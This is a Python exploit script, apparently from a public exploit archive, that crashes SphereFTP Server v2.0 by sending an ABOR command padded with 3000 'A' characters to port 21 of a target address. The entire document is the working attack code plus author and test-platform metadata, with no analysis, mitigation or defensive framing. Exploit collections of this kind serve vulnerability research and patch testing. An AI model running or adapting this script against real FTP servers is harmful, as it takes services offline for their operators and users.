SphereFTP 2.0 Denial Of Service Exploit

#!/usr/bin/python
# Exploit Title: SphereFTP Server v2.0 Remote Denial of Service
Vulnerability
# Exploit Author: Sachin Wagh (@tiger_tigerboy)
# Software Link: http://www.menasoft.com/sphereftp/sphereftp_win32_v20.zip
# Tested on: Windows 10 64-bit

import socket
import sys

evil = "A"*3000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.56.1',21))

s.recv(1024)
s.send('ABOR '+evil+'\r\n')
s.recv(1024)
s.close